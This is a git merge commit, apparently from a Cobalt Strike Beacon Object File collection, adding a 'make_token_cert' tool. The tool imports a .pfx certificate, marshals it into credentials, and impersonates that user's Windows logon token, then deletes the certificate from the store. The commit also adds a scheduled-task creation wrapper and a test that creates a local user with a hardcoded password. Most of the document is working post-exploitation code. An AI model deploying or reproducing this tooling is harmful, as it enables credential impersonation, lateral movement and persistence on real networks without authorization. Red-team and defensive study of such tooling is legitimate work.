Merge branch 'make_token_cert'

This commit is contained in:
christopher.paschen
2024-11-18 10:59:25 -06:00
7 changed files with 311 additions and 1 deletions
+1
View File
@@ -24,6 +24,7 @@ You are welcome to use these, but issues opened related to these will be closed
|get_priv| Activate the specified token privledge, more for non-cobalt strike users|
|global_unprotect| Locates and Decrypts GlobalProtect config files converted from: [GlobalUnProtect](https://github.com/rotarydrone/GlobalUnProtect/tree/409d64b097e0a928a5545051e40e1566e9c26bd0)|
|lastpass | Search Chrome, brave memory for LastPass passwords and data|
|make_token_cert| impersonates a user using the altname of a .pfx file |
|office_tokens| Collect Office JWT Tokens from any Office process|
|procdump| Dump the specified process to the specified output file|
|ProcessDestroy| Close handle(s) in a process|
+57 -1
View File
@@ -2076,4 +2076,60 @@ beacon_command_register(
"Usage: global_unprotect
There are no arguments to this command"
)
)
sub bschtaskscreate
{
local('$server $taskpath $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args');
$bid = $1;
$server = "";
$fp = $null;
$taskpath = $2;
$mode = 1;
$force = 1;
$fpath = $3;
if(!-canread $fpath)
{
berror($bid, "Unable to read the xml task definition file: $fpath");
return;
}
$fp = openf($fpath);
$fdata = readb($fp, -1);
closef($fp);
$args = bof_pack($bid, "ZZZii", $server, $taskpath, $fdata, $mode, $force);
beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args);
}
alias make_token_cert
{
local('$handle $certpath $cert $password $args');
if(size(@_) < 2)
{
berror($1, "usage: make_token_cert <.pfx local path> [opt: .pfx password]");
return;
}
$certpath = $2;
$password = iff($3, $3, "");
if(!-canread $certpath)
{
berror($1, "Unable to read $certpath on local system");
return;
}
$handle = openf($certpath);
$cert = readb($handle, -1);
closef($handle);
$args = bof_pack($1, "bZ", $cert, $password);
beacon_inline_execute($1, readbof($1, "make_token_cert"), "go", $args);
}
beacon_command_register(
"make_token_cert",
"Applies an impersonation token based on the Alt Name in a supplied .pfx file",
"Command: make_token_cert
Usage make_token_cert <path to .pfx> [opt: password]
Takes the path to a .pfx and optionally the password to decrypt the .pfx.
Reads it into the certificate store for the current user and creates an impersonation token with it.
Then deletes it from the users certificate store.");
Binary file not shown.
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
BOFNAME := make_token_cert
COMINCLUDE := -I ../../common
LIBINCLUDE := -lnetapi32
CC_x64 := x86_64-w64-mingw32-gcc
CC_x86 := i686-w64-mingw32-gcc
CC := x86_64-w64-mingw32-clang
all:
$(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE
$(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE
mkdir -p ../../../Remote/$(BOFNAME)
mv $(BOFNAME)*.o ../../../Remote/$(BOFNAME)
test:
$(CC_x64) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe
$(CC_x86) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe
scanbuild:
$(CC) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).scanbuild.exe
check:
cppcheck --enable=all --suppress=missingIncludeSystem --suppress=unusedFunction $(COMINCLUDE) --platform=win64 entry.c
clean:
rm $(BOFNAME).*.exe
+211
View File
@@ -0,0 +1,211 @@
#include <windows.h>
#include <stdio.h>
#include <lmaccess.h>
#include "beacon.h"
#include "bofdefs.h"
#include <wincred.h>
#include "base.c"
// void hex_to_bytes(const char *hex_str, unsigned char *byte_array, size_t *len) {
// size_t hex_len = MSVCRT$strlen(hex_str);
// if (hex_len % 2 != 0) {
// // Hex string length must be even
// *len = 0;
// return;
// }
// *len = hex_len / 2;
// for (size_t i = 0; i < *len; i++) {
// MSVCRT$sscanf(hex_str + 2 * i, "%2x", &(byte_array[i]));
// }
// }
//thumbprint is assumed to have at least 20 bytes of space
HCERTSTORE LoadCert(unsigned char * cert, const wchar_t * password, DWORD certlen, DWORD passlen, PCCERT_CONTEXT * pcert)
{
CRYPT_DATA_BLOB pfxData;
pfxData.cbData = certlen;
pfxData.pbData = cert;
*pcert = NULL;
PCCERT_CONTEXT pnewcert;
HCERTSTORE hCertStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_SYSTEM_STORE_CURRENT_USER, L"MY");
if (!hCertStore) {
internal_printf("Failed to open the certificate store. Error: %lu\n", KERNEL32$GetLastError());
return NULL;
}
HCERTSTORE store = CRYPT32$PFXImportCertStore(&pfxData, NULL, CRYPT_USER_KEYSET);
if(store == NULL)
{
internal_printf("Failed to improt cert, make sure its in the right format: %x\n", KERNEL32$GetLastError());
return NULL;
}
*pcert = CRYPT32$CertEnumCertificatesInStore(store, NULL);
CRYPT32$CertAddCertificateContextToStore(hCertStore, *pcert, CERT_STORE_ADD_ALWAYS, &pnewcert);
CRYPT32$CertDeleteCertificateFromStore(*pcert);
CRYPT32$CertCloseStore(store, 0);
*pcert = pnewcert;
return hCertStore;
}
//thumbprint is assumed to be >= 20 bytes
void ImpersonateUser(PCCERT_CONTEXT pCertContext)
{
DWORD hashSize = 20;
CERT_CREDENTIAL_INFO ci;
ci.cbSize = sizeof(CERT_CREDENTIAL_INFO);
LPWSTR creds;
if(!CRYPT32$CertGetCertificateContextProperty(pCertContext, CERT_HASH_PROP_ID, ci.rgbHashOfCert, &hashSize))
{
BeaconPrintf(CALLBACK_ERROR, "Failed to get Thumbprint: %d", KERNEL32$GetLastError());
return;
}
internal_printf("Cert Thumbprint: ");
for (DWORD i = 0; i < hashSize; i++) {
internal_printf("%02X", ci.rgbHashOfCert[i]);
}
internal_printf("\n");
if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds))
{
BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError());
return;
}
HANDLE hToken = NULL;
if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken))
{
BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError());
return;
}
#ifdef COBALTSTRIKE
BeaconUseToken(hToken); //This does not appear to properly show the correct user currently, but leaving it for when CS fixes it.
#else
if(!ADVAPI32$ImpersonateLoggedOnUser(hToken))
{
BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError());
return;
}
#endif
BeaconPrintf(CALLBACK_OUTPUT, "success");
}
#ifdef BOF
VOID go(
IN PCHAR Buffer,
IN ULONG Length
)
{
DWORD dwErrorCode = ERROR_SUCCESS;
datap parser;
DWORD len, passlen;
BeaconDataParse(&parser, Buffer, Length);
unsigned char * cert = (unsigned char *)BeaconDataExtract(&parser, (int *)&len); // $2
LPWSTR password = (LPWSTR)BeaconDataExtract(&parser, (int *)&passlen);
if(!bofstart())
{
return;
}
internal_printf("Loading Cert into temp store\n");
PCCERT_CONTEXT pcert = NULL;
HCERTSTORE store = LoadCert(cert, password, len, passlen, &pcert);
if(pcert != NULL)
{
ImpersonateUser(pcert);
internal_printf("success\n");
CRYPT32$CertDeleteCertificateFromStore(pcert);
CRYPT32$CertCloseStore(store, 0);
}
else
{
internal_printf("failed\n");
}
go_end:
printoutput(TRUE);
bofstop();
};
// VOID go(
// IN PCHAR Buffer,
// IN ULONG Length
// )
// {
// DWORD dwErrorCode = ERROR_SUCCESS;
// datap parser;
// size_t len;
// BeaconDataParse(&parser, Buffer, Length);
// LPSTR certHash = BeaconDataExtract(&parser, (int *)&len); // $2
// CERT_CREDENTIAL_INFO ci;
// ci.cbSize = sizeof(CERT_CREDENTIAL_INFO);
// len--; //delete null
// BeaconPrintf(CALLBACK_OUTPUT, "Converting %s : %d to bytes\n", certHash,len);
// if(len > 40)
// {
// BeaconPrintf(CALLBACK_ERROR, "Hash isn't the right length\n");
// return;
// }
// hex_to_bytes(certHash, ci.rgbHashOfCert, &len); //Could blow up if a string isn't right, just for testing here
// // for(int i = 0; i < len; i++)
// // {
// // BeaconPrintf(CALLBACK_OUTPUT, "%2X", ci.rgbHashOfCert[i]);
// // }
// BeaconPrintf(CALLBACK_OUTPUT, "converted %x : %d", ci.rgbHashOfCert, len);
// LPWSTR creds = NULL;
// if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds))
// {
// BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError());
// return;
// }
// BeaconPrintf(CALLBACK_OUTPUT, "success");
// HANDLE hToken = NULL;
// if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken))
// {
// BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError());
// return;
// }
// if(!ADVAPI32$ImpersonateLoggedOnUser(hToken))
// {
// BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError());
// return;
// }
// // if(!bofstart())
// // {
// // return;
// // }
// go_end:
// // printoutput(TRUE);
// // bofstop();
// };
#else
#define TEST_USERNAME L"Guest"
#define TEST_HOSTNAME NULL
#define TEST_PASSWORD L"Password123!"
int main(int argc, char ** argv)
{
DWORD dwErrorCode = ERROR_SUCCESS;
LPWSTR lpswzUserName = TEST_USERNAME;
LPWSTR lpswzPassword = TEST_PASSWORD;
LPWSTR lpswzServerName = TEST_HOSTNAME;
internal_printf("Adding %S to %S\n", lpswzUserName, lpswzServerName ? lpswzServerName : L"the local machine" );
dwErrorCode = AddUser(lpswzUserName, lpswzPassword, lpswzServerName);
if ( ERROR_SUCCESS != dwErrorCode )
{
BeaconPrintf(CALLBACK_ERROR, "Adding user failed: %lX\n", dwErrorCode);
goto main_end;
}
internal_printf("SUCCESS.\n");
main_end:
return dwErrorCode;
}
#endif
+17
View File
@@ -9,6 +9,7 @@
#include <stdio.h>
#include <windns.h>
#include <dbghelp.h>
#include <wincred.h>
#include <security.h>
#include <winldap.h>
#include <winnetwk.h>
@@ -127,6 +128,7 @@ WINBASEAPI ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG Siz
//MSVCRT
WINBASEAPI char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);
WINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...);
WINBASEAPI int __cdecl MSVCRT$sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...);
WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);
WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize);
WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);
@@ -164,6 +166,7 @@ DECLSPEC_IMPORT int __cdecl MSVCRT$rand(void);
_CRTIMP __time32_t __cdecl MSVCRT$_time32(__time32_t *_Time);
WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...);
_CRTIMP __time64_t __cdecl MSVCRT$_time64(__time64_t *_Time);
//SHLWAPI
WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest,LPCWSTR pszDir,LPCWSTR pszFile);
@@ -180,12 +183,23 @@ WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);
//WSOCK32
WINBASEAPI unsigned long WINAPI WSOCK32$inet_addr(const char *cp);
//WS2_32
WINBASEAPI u_long WINAPI WS2_32$htonl(u_long hostlong);
WINBASEAPI u_short WINAPI WS2_32$htons(u_short hostshort);
WINBASEAPI char * WINAPI WS2_32$inet_ntoa(struct in_addr in);
WINBASEAPI LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze);
WINBASEAPI INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr);
WINBASEAPI int WINAPI WS2_32$WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData);
WINBASEAPI int WINAPI WS2_32$WSAGetLastError(void);
WINBASEAPI int WINAPI WS2_32$socket(int af,int type,int protocol);
WINBASEAPI int WINAPI WS2_32$setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen);
WINBASEAPI int WINAPI WS2_32$sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen);
WINBASEAPI int WINAPI WS2_32$recvfrom(SOCKET s,char *buf,int len,int flags,struct sockaddr *from,int *fromlen);
WINBASEAPI int WINAPI WS2_32$closesocket(SOCKET s);
WINBASEAPI int WINAPI WS2_32$WSACleanup(void);
WINBASEAPI int WINAPI WS2_32$ntohs(u_short netshort);
//NETAPI32
WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR ComputerName,LPCSTR DomainName,GUID *DomainGuid,LPCSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo);
@@ -281,6 +295,7 @@ HRESULT WINAPI FLTLIB$FilterUnload(LPCWSTR lpFilterName);
//ADVAPI32
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountNameA (LPCSTR lpSystemName, LPCSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);
WINADVAPI WINBOOL WINAPI ADVAPI32$GetUserNameA (LPSTR lpBuffer, LPDWORD pcbBuffer);
WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser (HANDLE hToken);
WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);
WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW (LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);
WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken);
@@ -300,6 +315,8 @@ WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR lpSystemName, LP
WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded);
WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping);
WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS);
WINADVAPI WINBOOL WINAPI ADVAPI32$CredMarshalCredentialW(CRED_MARSHAL_TYPE CredType,PVOID Credential,LPWSTR *MarshaledCredential);
WINADVAPI VOID WINAPI ADVAPI32$CredFree (PVOID Buffer);
WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);
WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted);
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen);